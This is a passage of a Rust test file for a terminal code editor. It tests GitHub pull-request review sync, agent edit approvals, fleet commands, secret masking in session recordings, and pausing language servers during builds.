        // b.rs: marking fails on GitHub; the mark stays, locally too, and
        // the reason shows once.
        app.handle_pr_review_key(key(KeyCode::Char(' '), KeyModifiers::NONE));
        assert!(
            app.editor
                .pr_review
                .as_ref()
                .unwrap()
                .viewed
                .contains("b.rs")
        );
        settle_viewed_writes(&mut app);
        assert_eq!(
            app.status,
            "Viewed state saved locally; GitHub could not be updated: Resource not accessible"
        );
        assert!(
            crate::pr_review::ViewedStore::load(&store_path)
                .viewed("x/y#42")
                .contains("b.rs")
        );
        // c.rs fails too, quietly this time.
        app.status.clear();
        app.handle_pr_review_key(key(KeyCode::Char(' '), KeyModifiers::NONE));
        settle_viewed_writes(&mut app);
        assert!(app.status.is_empty(), "said once: {}", app.status);
        assert!(
            app.editor
                .pr_review
                .as_ref()
                .unwrap()
                .viewed
                .contains("c.rs")
        );
        let args = std::fs::read_to_string(&log).unwrap();
        assert!(
            args.lines()
                .last()
                .unwrap()
                .ends_with("-f id=PR_kw42 -f path=c.rs"),
            "{args}"
        );
    });
}

/// #365: when gh cannot read the viewed state (signed out, not GitHub),
/// review behaves as before: local marks, no error, no mutations.
#[test]
fn pr_viewed_state_stays_local_without_github() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let (gh, log) = viewed_sync_gh(
            tmp.path(),
            "  *graphql*) echo 'gh auth login required' >&2; exit 4 ;;",
        );
        let store_path = App::pr_viewed_path();
        let mut store = crate::pr_review::ViewedStore::default();
        store.set("x/y#42", "b.rs", true);
        store.save(&store_path).unwrap();

        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.review_gh = gh.display().to_string();
        open_synced_pr(&mut app);
        assert_eq!(app.status, "Reviewing PR #42", "no error spam");
        let view = app.editor.pr_review.as_ref().unwrap();
        assert_eq!(view.github_id, None);
        assert!(view.viewed.contains("b.rs"), "local marks as before");
        app.handle_pr_review_key(key(KeyCode::Char(' '), KeyModifiers::NONE));
        settle_viewed_writes(&mut app);
        assert!(
            app.editor
                .pr_review
                .as_ref()
                .unwrap()
                .viewed
                .contains("a.rs")
        );
        assert!(
            crate::pr_review::ViewedStore::load(&store_path)
                .viewed("x/y#42")
                .contains("a.rs")
        );
        assert_eq!(app.status, "Reviewing PR #42");
        let args = std::fs::read_to_string(&log).unwrap();
        assert!(!args.contains("FileAsViewed"), "no mutation: {args}");
    });
}

/// #365: a file toggled while GitHub's viewed state is still loading keeps
/// the person's mark, and it is sent once the PR's id is known.
#[test]
fn a_toggle_before_github_answers_wins_and_is_sent() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let (gh, log) = viewed_sync_gh(tmp.path(), "  *FileAsViewed*) echo '{}' ;;");
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.review_gh = gh.display().to_string();
        app.open_pr_review(
            crate::pr_review::parse_pr(
                r#"{"number": 42, "url": "https://github.com/x/y/pull/42", "files": [{"path": "a.rs"}]}"#,
            )
            .unwrap(),
            String::from("x/y#42"),
        );
        // A read in flight that has not answered yet.
        let (tx, rx) = std::sync::mpsc::channel();
        app.pr_viewed_fetch = Some((String::from("x/y#42"), app.pr_viewed_seq, rx));
        app.handle_pr_review_key(key(KeyCode::Char(' '), KeyModifiers::NONE));
        let mut states = std::collections::BTreeMap::new();
        states.insert(
            String::from("a.rs"),
            crate::pr_review::ViewedState::Unviewed,
        );
        tx.send(Ok((String::from("PR_kw42"), states))).unwrap();
        settle_viewed_writes(&mut app);
        let view = app.editor.pr_review.as_ref().unwrap();
        assert!(view.viewed.contains("a.rs"), "the click is newer");
        assert!(view.unsynced.is_empty());
        let args = std::fs::read_to_string(&log).unwrap();
        assert!(
            args.contains(" markFileAsViewed(") && args.ends_with("-f id=PR_kw42 -f path=a.rs\n"),
            "{args}"
        );
    });
}

/// #365: a viewed-state read that began while a write was in flight may
/// have seen GitHub before the write landed. Its answer must not undo the
/// mark, even after the write finished and a refresh replaced the view.
#[test]
fn a_read_that_began_before_a_write_settled_does_not_undo_it() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let (gh, _log) = viewed_sync_gh(tmp.path(), "  *FileAsViewed*) echo '{}' ;;");
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.review_gh = gh.display().to_string();
        let pr = || {
            crate::pr_review::parse_pr(
                r#"{"number": 42, "url": "https://github.com/x/y/pull/42", "files": [{"path": "a.rs"}]}"#,
            )
            .unwrap()
        };
        app.open_pr_review(pr(), String::from("x/y#42"));
        app.editor.pr_review.as_mut().unwrap().github_id = Some(String::from("PR_kw42"));
        // Tick a.rs: its mutation is queued, then sent.
        app.handle_pr_review_key(key(KeyCode::Char(' '), KeyModifiers::NONE));
        app.poll_pr_viewed();
        assert!(app.pr_viewed_write.is_some(), "in flight");
        // A refresh replaces the view and starts a read while it is.
        app.open_pr_review(pr(), String::from("x/y#42"));
        let (tx, rx) = std::sync::mpsc::channel();
        app.pr_viewed_fetch = Some((String::from("x/y#42"), app.pr_viewed_seq, rx));
        // The write lands and settles before the read answers ...
        settle_viewed_writes(&mut app);
        assert!(app.pr_viewed_queue.is_empty() && app.pr_viewed_write.is_none());
        // ... with what GitHub said before it: unviewed.
        let mut states = std::collections::BTreeMap::new();
        states.insert(
            String::from("a.rs"),
            crate::pr_review::ViewedState::Unviewed,
        );
        tx.send(Ok((String::from("PR_kw42"), states))).unwrap();
        app.poll_pr_viewed();
        let view = app.editor.pr_review.as_ref().unwrap();
        assert!(view.viewed.contains("a.rs"), "the stale answer is ignored");
        assert!(
            crate::pr_review::ViewedStore::load(&App::pr_viewed_path())
                .viewed("x/y#42")
                .contains("a.rs"),
            "and does not reach the local store"
        );
        // A read that begins after the write settled is trusted again.
        let (tx, rx) = std::sync::mpsc::channel();
        app.pr_viewed_fetch = Some((String::from("x/y#42"), app.pr_viewed_seq, rx));
        let mut states = std::collections::BTreeMap::new();
        states.insert(
            String::from("a.rs"),
            crate::pr_review::ViewedState::Unviewed,
        );
        tx.send(Ok((String::from("PR_kw42"), states))).unwrap();
        app.poll_pr_viewed();
        assert!(
            !app.editor
                .pr_review
                .as_ref()
                .unwrap()
                .viewed
                .contains("a.rs")
        );
    });
}

/// #345: clicking an unreviewed lane row's ● marks that file reviewed;
/// clicking its name still opens the diff.
#[test]
fn clicking_a_lane_rows_dot_marks_the_file_reviewed() {
    use crate::widgets::agent_lane::LaneRow;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("f.rs");
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    std::fs::write(&f, "a\n").unwrap();
    app.agent_ledger.record_write(
        &f,
        crate::agent_lane::content_hash(b"a\n"),
        &[String::from("claude")],
    );
    app.show_agent_lane_section();
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 40)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer().clone();
    let (x, y) = (0..buf.area.height)
        .find_map(|y| {
            let row: String = (0..buf.area.width).map(|x| buf[(x, y)].symbol()).collect();
            let at = row.find("● f.rs")?;
            Some((row[..at].chars().count() as u16, y))
        })
        .expect("the unreviewed row is painted");
    let unreviewed = |app: &mut App| {
        app.agent_lane_panel_rows().into_iter().any(|r| {
            matches!(
                r,
                LaneRow::File {
                    unreviewed: true,
                    ..
                }
            )
        })
    };
    assert!(unreviewed(&mut app));
    let click = |app: &mut App, column: u16| {
        app.handle_mouse(crossterm::event::MouseEvent {
            kind: crossterm::event::MouseEventKind::Down(MouseButton::Left),
            column,
            row: y,
            modifiers: KeyModifiers::NONE,
        });
    };
    // The name opens the diff (refused here: never reviewed) and marks
    // nothing.
    click(&mut app, x + 3);
    assert!(unreviewed(&mut app), "{}", app.status);
    click(&mut app, x);
    assert!(!unreviewed(&mut app), "{}", app.status);
    assert!(app.status.contains("f.rs: reviewed"), "{}", app.status);
}

/// #365: an open review tab whose checks are still running re-reads them
/// in the background, and says when the last one finishes.
#[test]
fn running_pr_checks_refresh_themselves_until_they_finish() {
    use std::os::unix::fs::PermissionsExt;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let gh = tmp.path().join("gh");
        std::fs::write(
            &gh,
            r#"#!/bin/sh
echo '{"number": 42, "title": "t", "url": "https://github.com/x/y/pull/42", "author": {"login": "a"}, "files": [], "statusCheckRollup": [{"__typename": "CheckRun", "name": "build", "status": "COMPLETED", "conclusion": "SUCCESS"}]}'
"#,
        )
        .unwrap();
        std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.review_gh = gh.display().to_string();
        let mut pr = crate::pr_review::parse_pr(
            r#"{"number": 42, "title": "t", "url": "https://github.com/x/y/pull/42", "author": {"login": "a"}, "files": [], "statusCheckRollup": [{"__typename": "CheckRun", "name": "build", "status": "IN_PROGRESS", "conclusion": ""}]}"#,
        )
        .unwrap();
        pr.number = 42;
        app.open_pr_review(pr, String::from("x/y#42"));
        assert!(app.editor.pr_review.as_ref().unwrap().has_pending_checks());
        // The first pass only starts the clock; nothing is fetched yet.
        app.poll_pr_gh();
        assert!(app.pr_gh.is_none());
        app.pr_checks_polled = Some(std::time::Instant::now() - std::time::Duration::from_secs(31));
        // A due refresh runs gh. Not asserted through `pr_gh` straight after
        // the poll: that poll also reads the answer, and under load the stub
        // can answer before it does, leaving `pr_gh` already empty again.
        // The checks turning from running to passed, below, is what only a
        // gh run can do.
        app.poll_pr_gh();
        crate::test_budget::await_spawned(std::time::Duration::from_secs(5), "the refresh", || {
            app.poll_pr_gh();
            !app.editor.pr_review.as_ref().unwrap().has_pending_checks()
        });
        assert_eq!(
            app.editor.pr_review.as_ref().unwrap().pr.checks[0].state,
            crate::pr_review::CheckState::Pass
        );
        assert!(
            app.status.contains("every check has finished"),
            "{}",
            app.status
        );
        // Nothing pending: no more refreshes.
        app.pr_checks_polled = Some(std::time::Instant::now() - std::time::Duration::from_secs(31));
        app.poll_pr_gh();
        assert!(app.pr_gh.is_none());
    });
}

/// #263: the coverage report opens as a tab, least covered file first,
/// and without a run it says how to get one.
#[test]
fn show_coverage_report_opens_the_last_run_as_a_tab() {
    use crate::widgets::command_palette::Command;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.run_command(Command::TestingShowCoverageReport);
    assert!(app.status.contains("No coverage yet"), "{}", app.status);
    let root = app.active_test_root.clone();
    app.testing.coverage = Some(crate::testing::coverage::Coverage::from_lcov(
        "SF:a.rs\nDA:1,1\nDA:2,0\nend_of_record\n",
        &root,
    ));
    app.run_command(Command::TestingShowCoverageReport);
    assert_eq!(
        app.editor.path.as_deref(),
        Some(Path::new("Coverage Report"))
    );
    assert_eq!(app.editor.lines[0], "Coverage: 50.0% of 2 lines");
    assert!(
        app.editor.lines[2].ends_with(" a.rs"),
        "{:?}",
        app.editor.lines
    );
}

/// #365: Review Pull Request lists the open PRs to pick from (off the UI
/// thread), picking one opens it by URL, and the last row asks for a
/// number instead. When gh cannot list, the prompt opens directly.
#[test]
fn review_pull_request_picks_from_the_open_prs() {
    use crate::widgets::command_palette::Command;
    use std::os::unix::fs::PermissionsExt;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let log = tmp.path().join("gh-args");
        let gh = tmp.path().join("gh");
        std::fs::write(
            &gh,
            format!(
                r#"#!/bin/sh
echo "$@" >> '{}'
case "$2" in
  list) echo '[{{"number": 9, "title": "Add it", "author": {{"login": "ada"}}, "url": "https://github.com/o/r/pull/9", "isDraft": false}}]' ;;
  *) exit 1 ;;
esac
"#,
                log.display()
            ),
        )
        .unwrap();
        std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.review_gh = gh.display().to_string();
        app.run_command(Command::ReviewPullRequest);
        crate::test_budget::await_spawned(std::time::Duration::from_secs(5), "gh pr list", || {
            app.poll_pr_gh();
            app.list_picker.is_some()
        });
        let picker = app.list_picker.as_ref().unwrap();
        assert_eq!(picker.rows.len(), 2);
        assert!(picker.rows[0].label.contains("#9") && picker.rows[0].label.contains("Add it"));
        assert_eq!(picker.rows[1].id, crate::widgets::list_picker::PR_BY_NUMBER);
        app.confirm_list_picker();
        assert!(
            app.status
                .contains("Loading PR https://github.com/o/r/pull/9"),
            "{}",
            app.status
        );
        crate::test_budget::await_spawned(std::time::Duration::from_secs(5), "gh pr view", || {
            app.poll_pr_gh();
            app.pr_gh.is_none()
        });
        let args = std::fs::read_to_string(&log).unwrap();
        assert!(
            args.lines()
                .nth(1)
                .unwrap()
                .starts_with("pr view https://github.com/o/r/pull/9"),
            "{args}"
        );

        // gh unable to list: straight to the prompt, with the reason.
        app.review_gh = String::from("/nonexistent/gh");
        app.run_command(Command::ReviewPullRequest);
        crate::test_budget::await_spawned(
            std::time::Duration::from_secs(5),
            "the fallback",
            || {
                app.poll_pr_gh();
                app.input_prompt.is_some()
            },
        );
        assert!(
            app.status.contains("Could not list pull requests"),
            "{}",
            app.status
        );
    });
}

/// #356: a recorded frame is masked like a scrollback dump. The cast is a
/// file made to be shared, so a key on screen is recorded as •••, and a
/// reveal on screen does not reach it.
#[test]
fn a_recorded_frame_masks_secrets_even_while_revealed() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].last_inner = ratatui::layout::Rect {
        x: 1,
        y: 1,
        width: 60,
        height: 10,
    };
    app.terminals[0].resize(60, 10);
    let key = "AKIAIOSFODNN7EXAMPLE";
    app.terminals[0].feed_bytes_for_test(format!("export KEY={key}\r\n").as_bytes());
    app.reveal_redacted_secrets();
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    app.record_active_screen();
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    let path = std::fs::read_dir(app.workspace_root())
        .unwrap()
        .filter_map(|e| e.ok().map(|e| e.path()))
        .find(|p| p.extension().is_some_and(|x| x == "cast"))
        .expect("a .cast file was written");
    let text = std::fs::read_to_string(&path).unwrap();
    assert!(!text.contains(key), "the key reached the cast:\n{text}");
    assert!(text.contains("export KEY="), "{text}");
}

/// #263 against real pytest-cov: "Run Test at Cursor with Coverage" runs
/// only the caret's test, so code that only another test reaches stays
/// uncovered. Set `CROFT_TEST_PYTEST_COV_PYTHON` as for the whole-run test.
#[test]
#[ignore = "needs pytest and pytest-cov; set CROFT_TEST_PYTEST_COV_PYTHON"]
fn a_real_scoped_coverage_run_covers_only_the_test_at_the_cursor() {
    use crate::testing::coverage::LineCov;
    let python = std::path::PathBuf::from(std::env::var("CROFT_TEST_PYTEST_COV_PYTHON").unwrap());
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::os::unix::fs::symlink(
        python.parent().and_then(Path::parent).unwrap(),
        root.join(".venv"),
    )
    .unwrap();
    std::fs::write(
        root.join("pyproject.toml"),
        "[project]\nname = \"t\"\nversion = \"0\"\n",
    )
    .unwrap();
    std::fs::write(
        root.join("calc.py"),
        "def add(a, b):\n    return a + b\n\n\ndef sub(a, b):\n    return a - b\n",
    )
    .unwrap();
    std::fs::write(
        root.join("test_calc.py"),
        "from calc import add, sub\n\n\ndef test_add():\n    assert add(1, 2) == 3\n\n\ndef test_sub():\n    assert sub(3, 2) == 1\n",
    )
    .unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.editor.open(&root.join("test_calc.py")).unwrap();
    app.editor.cursor_row = 4; // inside test_add
    app.run_command(crate::widgets::command_palette::Command::RunTestAtCursorWithCoverage);
    assert!(app.status.contains("with coverage"), "{}", app.status);
    let end = std::time::Instant::now() + std::time::Duration::from_secs(120);
    while app.testing.coverage.is_none() {
        assert!(std::time::Instant::now() < end, "status: {}", app.status);
        let _ = app.test_worker.drain(&mut app.testing);
        app.sync_coverage();
        std::thread::sleep(std::time::Duration::from_millis(100));
    }
    let cov = app.testing.coverage.clone().unwrap();
    let calc = cov
        .files
        .get(&root.join("calc.py"))
        .expect("calc.py measured");
    assert_eq!(calc.line(2), Some(LineCov::Covered), "`return a + b` ran");
    assert_eq!(
        calc.line(6),
        Some(LineCov::Uncovered),
        "only test_sub reaches `return a - b`"
    );
}

/// #371: the scrubber's slider sits on the editor's bottom row; a click at
/// its left end shows the oldest commit, and dragging to its right end
/// returns to the working tree.
#[test]
fn the_scrubber_slider_seeks_on_click_and_drag() {
    let repo = scrub_repo();
    let mut app = App::new(repo.path().to_path_buf()).unwrap();
    app.editor.open(&repo.path().join("a.txt")).unwrap();
    app.scrub_history();
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let track = app.scrub_slider;
    assert!(track.width > 10, "the slider lays out: {track:?}");
    let row: String = (0..120)
        .map(|x| term.backend().buffer()[(x, track.y)].symbol().to_string())
        .collect();
    assert!(row.contains("working tree"), "{row}");
    let mouse = |app: &mut App, kind, column| {
        app.handle_mouse(crossterm::event::MouseEvent {
            kind,
            column,
            row: track.y,
            modifiers: KeyModifiers::NONE,
        });
    };
    mouse(
        &mut app,
        crossterm::event::MouseEventKind::Down(MouseButton::Left),
        track.x,
    );
    assert_eq!(
        app.scrub_view.as_ref().unwrap().lines,
        vec!["v1"],
        "the oldest commit"
    );
    term.draw(|f| app.render(f)).unwrap();
    let row: String = (0..120)
        .map(|x| term.backend().buffer()[(x, track.y)].symbol().to_string())
        .collect();
    assert!(row.contains(" 1/3 "), "{row}");
    // The drag keeps seeking off the row too.
    mouse(
        &mut app,
        crossterm::event::MouseEventKind::Drag(MouseButton::Left),
        track.x + track.width + 5,
    );
    assert!(app.scrub_view.is_none(), "back at the working tree");
    mouse(
        &mut app,
        crossterm::event::MouseEventKind::Up(MouseButton::Left),
        0,
    );
    assert!(!app.scrub_dragging);
    assert!(app.scrubber.is_some(), "the scrubber stays open");
}

/// #347: `a` in the approval popup approves this edit and the same agent's
/// next ones for ten minutes, with a countdown chip; another agent still
/// asks, and Agents: Stop Auto-Approving (or the time running out) ends it.
#[test]
fn approve_all_lets_one_agent_through_until_stopped() {
    use std::io::{BufRead, Write};
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.rs"), "let x = 1;\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let sock = tmp.path().join("hook.sock");
    let listener = std::os::unix::net::UnixListener::bind(&sock).unwrap();
    listener.set_nonblocking(true).unwrap();
    app.hook_listener = Some(listener);
    let propose = |app: &mut App, agent: &str| {
        let mut hook = std::os::unix::net::UnixStream::connect(&sock).unwrap();
        let req = crate::agent_hook::EditRequest {
            agent: agent.into(),
            tool: "Edit".into(),
            input: serde_json::json!({"file_path": tmp.path().join("a.rs"), "old_string": "1", "new_string": "2"}),
            cwd: tmp.path().into(),
        };
        writeln!(hook, "{}", serde_json::to_string(&req).unwrap()).unwrap();
        app.drain_hook_requests();
        hook
    };
    let answer = |hook: std::os::unix::net::UnixStream| {
        hook.set_read_timeout(Some(std::time::Duration::from_millis(200)))
            .unwrap();
        let mut line = String::new();
        let _ = std::io::BufReader::new(hook).read_line(&mut line);
        serde_json::from_str::<crate::agent_hook::Decision>(line.trim()).ok()
    };

    let first = propose(&mut app, "claude-code");
    let other = propose(&mut app, "other-agent");
    app.approval_ui.as_mut().unwrap().shown_at -= crate::agent_approval::ARM_DELAY;
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(answer(first), Some(crate::agent_hook::Decision::Allow));
    assert!(app.status.contains("for 10 minutes"), "{}", app.status);
    assert_eq!(app.approvals.len(), 1, "the other agent still asks");
    assert_eq!(app.approvals[0].request.agent, "other-agent");

    // The same agent's next edit goes straight through.
    let next = propose(&mut app, "claude-code");
    assert_eq!(answer(next), Some(crate::agent_hook::Decision::Allow));
    assert_eq!(app.approvals.len(), 1);
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(160, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let bottom: String = (0..160).map(|x| buf[(x, 29)].symbol()).collect();
    assert!(
        bottom.contains("auto-approving claude-code 9:")
            || bottom.contains("auto-approving claude-code 10:00"),
        "{bottom}"
    );

    app.run_command(crate::widgets::command_palette::Command::StopAutoApprove);
    let after = propose(&mut app, "claude-code");
    assert_eq!(app.approvals.len(), 2, "asks again once stopped");
    drop((after, other));

    // A window that has run out closes by itself.
    app.auto_approve = Some((String::from("x"), std::time::Instant::now()));
    app.drain_hook_requests();
    assert!(app.auto_approve.is_none());
}

/// #363 end to end: a fleet run's results open as tiles in the Fleet tab,
/// `s` saves the whole run to a file, `d` switches to full output, Enter
/// opens a shell pane on the selected host, and Esc closes the tab.
#[test]
fn a_fleet_run_opens_tiles_that_save_and_open_a_shell() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.run_fleet_command("localhost: echo fleet-ok");
    crate::test_budget::await_spawned(std::time::Duration::from_secs(10), "the fleet run", || {
        app.drain_fleet_results();
        app.editor.fleet.is_some()
    });
    let view = app.editor.fleet.as_ref().unwrap();
    assert_eq!(view.command, "echo fleet-ok");
    assert_eq!(view.results.len(), 1);
    assert_eq!(view.results[0].output, "fleet-ok");
    assert_eq!(app.editor.path.as_deref(), Some(Path::new("Fleet")));
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let screen: String = (0..30)
        .map(|y| {
            (0..120)
                .map(|x| term.backend().buffer()[(x, y)].symbol())
                .collect::<String>()
                + "\n"
        })
        .collect();
    assert!(screen.contains("localhost"), "{screen}");

    app.handle_key(key(KeyCode::Char('d'), KeyModifiers::NONE))
        .unwrap();
    assert!(!app.editor.fleet.as_ref().unwrap().diff_mode);
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::NONE))
        .unwrap();
    let saved = std::fs::read_dir(tmp.path())
        .unwrap()
        .filter_map(|e| e.ok().map(|e| e.path()))
        .find(|p| {
            p.file_name()
                .is_some_and(|n| n.to_string_lossy().starts_with("fleet-"))
        })
        .expect("a capture file");
    let text = std::fs::read_to_string(saved).unwrap();
    assert!(text.starts_with("$ echo fleet-ok\n"), "{text}");
    assert!(text.contains("== localhost (exit 0,"), "{text}");

    let panes = app.terminals.len();
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.terminals.len(),
        panes + 1,
        "a shell pane opened: {}",
        app.status
    );
    app.focus_pane(Pane::Editor);
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(app.editor.fleet.is_none());
}

#[test]
fn fleet_shell_commands_quote_the_target() {
    assert_eq!(fleet_shell_command("localhost"), None);
    assert_eq!(fleet_shell_command("db-1").as_deref(), Some("ssh 'db-1'"));
    assert_eq!(
        fleet_shell_command("docker:web").as_deref(),
        Some("docker exec -it 'web' sh")
    );
}

/// A second click on the same forwarded loopback link reuses the tunnel
/// instead of asking for another (each one was a new tunnel on a random port
/// and a new browser tab, #648); a click while one is in flight asks nothing.
#[test]
fn a_forwarded_port_is_reused_and_a_pending_forward_not_repeated() {
    use crate::widgets::ports::PortOrigin;
    let _guard = relay_test_lock().lock().unwrap();
    let workspace = tempfile::tempdir().unwrap();
    let home = tempfile::tempdir().unwrap();
    let mut app = App::new(workspace.path().to_path_buf()).unwrap();
    let log = with_relay_home(home.path(), || {
        let log = app.relay_log_path().expect("relay log path derivable");
        app.request_remote_forward(3000, true);
        app.request_remote_forward(3000, true);
        let first = std::fs::read_to_string(&log).unwrap_or_default();
        assert_eq!(first.matches("forward\t").count(), 1, "{first:?}");
        // Once forwarded, a click opens the existing tunnel.
        app.pending_remote_pulls.clear();
        app.ports
            .upsert(3000, None, None, PortOrigin::Remote("box".into()));
        app.ports.mark_forwarded(3000, 3001);
        app.request_remote_forward(3000, true);
        log
    });
    let all = std::fs::read_to_string(&log).unwrap();
    assert_eq!(all.matches("forward\t").count(), 1, "{all:?}");
    assert!(all.contains("http://127.0.0.1:3001/"), "{all:?}");
}

/// #694: a source build of croft on this host stops the language servers
/// for its duration and restarts them after, since a compile next to
/// rust-analyzer is what exhausted memory on small remotes.
#[test]
fn a_source_build_pauses_the_language_servers_and_its_end_restarts_them() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(app.lsp.is_some(), "precondition: a manager is running");

    assert!(app.apply_source_build_state(true));
    assert!(app.lsp.is_none(), "the servers must stop for the build");
    assert!(
        !app.apply_source_build_state(true),
        "a build still running changes nothing"
    );

    assert!(app.apply_source_build_state(false));
    assert!(
        app.lsp.is_some(),
        "the servers must come back once the build ends"
    );
    assert!(!app.apply_source_build_state(false));

    // Nothing running is nothing to pause, and nothing to start later: a
    // manager that failed to start is not brought up by an unrelated build.
    app.lsp = None;
    assert!(!app.apply_source_build_state(true));
    assert!(!app.apply_source_build_state(false));
    assert!(app.lsp.is_none());
}

/// #694: re-rooting while a build has the language servers stopped must not
/// start them beside the compile; the build's end starts them at the new
/// root instead.
#[test]
fn a_reroot_during_a_source_build_leaves_the_servers_stopped() {
    let tmp = tempfile::tempdir().unwrap();
    let other = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(app.apply_source_build_state(true));
    assert!(app.lsp.is_none());

    app.change_workspace_root(other.path().to_path_buf());
    assert!(
        app.lsp.is_none(),
        "a re-root started the servers while the build still runs"
    );

    assert!(app.apply_source_build_state(false));
    let lsp = app
        .lsp
        .as_ref()
        .expect("the build's end restarts the servers");
    assert_eq!(
        lsp.workspace_root(),
        app.workspace_root(),
        "the restarted servers must serve the NEW root"
    );
}

/// #694 review: a resumed manager numbers semantic replies from 0 again, so
/// the old manager's per-file high-water marks must go with it, or every
/// reply for those files is rejected until the new count catches up.
#[test]
fn resuming_after_a_build_forgets_the_old_semantic_generations() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let p = tmp.path().join("a.rs");
    app.semantic_generation_seen.insert(p.clone(), 500);
    assert!(app.apply_source_build_state(true));
    assert!(app.apply_source_build_state(false));
    assert!(
        semantic_reply_is_current(app.semantic_generation_seen.get(&p).copied(), 0),
        "the restarted server's first reply must be accepted"
    );
}

/// #694 review: diagnostics of a file with no open buffer do not outlive a
/// pause; nothing else would ever drop them.
#[test]
fn resuming_after_a_build_drops_diagnostics_no_open_tab_owns() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "open.rs", "fn main() {}");
    let open = app.editor.path.clone().unwrap();
    let closed = tmp.path().join("closed.rs");
    app.lsp_diagnostics.insert(open.clone(), Default::default());
    app.lsp_diagnostics
        .insert(closed.clone(), Default::default());
    assert!(app.apply_source_build_state(true));
    assert!(app.apply_source_build_state(false));
    assert!(
        !app.lsp_diagnostics.contains_key(&closed),
        "a tab closed during the build kept its diagnostics"
    );
    assert!(
        app.lsp_diagnostics.contains_key(&open),
        "an open tab's diagnostics stay until the new servers publish"
    );
}

/// #694 review: a format-on-save in flight when the servers stop is saved at
/// once, unformatted, rather than left armed for an unrelated reply.
#[test]
fn pausing_for_a_build_completes_a_pending_format_on_save() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn main() {}");
    let file = app.editor.path.clone().unwrap();
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    app.format_request_id = Some(7);
    app.save_after_format = Some(file.clone());
    assert!(app.apply_source_build_state(true));
    assert!(app.format_request_id.is_none());
    assert!(app.save_after_format.is_none(), "the save was left armed");
    assert!(
        std::fs::read_to_string(&file).unwrap().starts_with('x'),
        "the edit must reach disk"
    );
}

/// A local croft (no update watcher) never pauses its servers, and the
/// marker is read at most once a second.
#[test]
fn only_a_remote_launched_croft_polls_the_build_marker() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(app.update_watch.is_none());
    assert!(!app.poll_source_build_marker());
    assert!(
        app.build_marker_checked.is_none(),
        "a local croft read the marker"
    );
    assert!(app.lsp.is_some());

    app.update_watch = Some(crate::update_watch::UpdateWatch::start(
        tmp.path().to_path_buf(),
        String::new(),
    ));
    let just_now = std::time::Instant::now();
    app.build_marker_checked = Some(just_now);
    assert!(!app.poll_source_build_marker());
    assert_eq!(
        app.build_marker_checked,
        Some(just_now),
        "the marker was read again within the second"
    );
}

/// #737: the poll's positive path. A marker naming a live build pauses the
/// servers of a remote-launched croft; the marker going resumes them.
#[test]
fn a_live_build_marker_pauses_the_servers_and_its_removal_resumes_them() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
